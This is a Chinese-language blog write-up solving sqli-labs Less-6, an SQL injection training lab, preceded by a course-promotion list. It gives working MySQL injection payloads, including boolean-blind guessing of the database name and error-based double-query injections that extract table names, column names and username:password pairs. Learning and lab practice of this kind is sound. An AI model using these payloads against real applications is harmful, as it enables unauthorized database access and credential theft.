【精选优质专栏推荐】
- 《AI 技术前沿》 —— 紧跟 AI 最新趋势与应用
- 《网络安全新手快速入门(附漏洞挖掘案例)》 —— 零基础安全入门必看
- 《BurpSuite 入门教程(附实战图文)》 —— 渗透测试必备工具详解
- 《网安渗透工具使用教程(全)》 —— 一站式工具手册
- 《CTF 新手入门实战教程》 —— 从题目讲解到实战技巧
- 《前后端项目开发(新手必知必会)》 —— 实战驱动快速上手
每个专栏均配有案例与图文讲解,循序渐进,适合新手与进阶学习者,欢迎订阅。
Less-6 和 Less-5类似,自行浏览前文即可。
【网络安全】sqli-labs Less-5 解题详析(秋说的博客)
判断注入类型
GET 1" and "1"="1 回显如下:

GET 1" and "1"="2

没有回显,说明该漏洞类型为GET型双引号字符型注入
判断注入点个数
GET1" order by 3 --+,回显如下:

GET1" order by 4 --+,回显如下:
故注入点为3个
查库名
Payload:GET 1" and left((select database()),1)='a'--+
使用子查询 select database(),该语句可以获取当前数据库名称,并返回该名称的字符串表达式;通过 left() 函数获取数据库名称的首个字符。
left函数
Left函数是一种字符串函数,可以从一个字符串的左侧开始返回指定数量的字符。它的语法如下:
LEFT(str, len)
其中,str 是要截取的字符串,len 是要返回的字符数。
例如,LEFT(‘Hello, world!’, 5) 将返回 Hello,因为它只返回字符串的前5个字符
若1" and left((select database()),1)=‘a’–+查询成功,则回显you are in,即数据库名的首字母为a
因此可用此方法查询出完整的数据库名
我们可得到数据库名的首字母为s

继续猜第二个字母,将sa遍历到se,发现se回显成功
?id=1" and left((select database()),2)='se'--+

因此我们可以不断尝试得到数据库名:

可使用抓包字典爆破来获取数据库名,也可使用双查询注入来获取数据库名,详情参见:【网络安全】sqli-labs Less-5 解题详析
示例如下:

查表名
双查询注入:
1" union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), floor(rand(0)*2)) a from information_schema.tables group by a %23

回显四个表名
查users表的列名
双查询注入:
1" union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand(0)*2)) a from information_schema.tables group by a %23

查字段
双查询注入:
1" union select 1, count(*), concat((select concat(username,':',password) from users limit 0,1), floor(rand(0)*2)) a from information_schema.tables group by a %23

将limit中的0改为1、2、3…即可:

本文详述了SQLi-Labs Less-6关卡的解题过程,包括判断注入类型、确定注入点数量、查询数据库名、表名、列名以及字段的具体方法。
680

被折叠的 条评论
为什么被折叠?



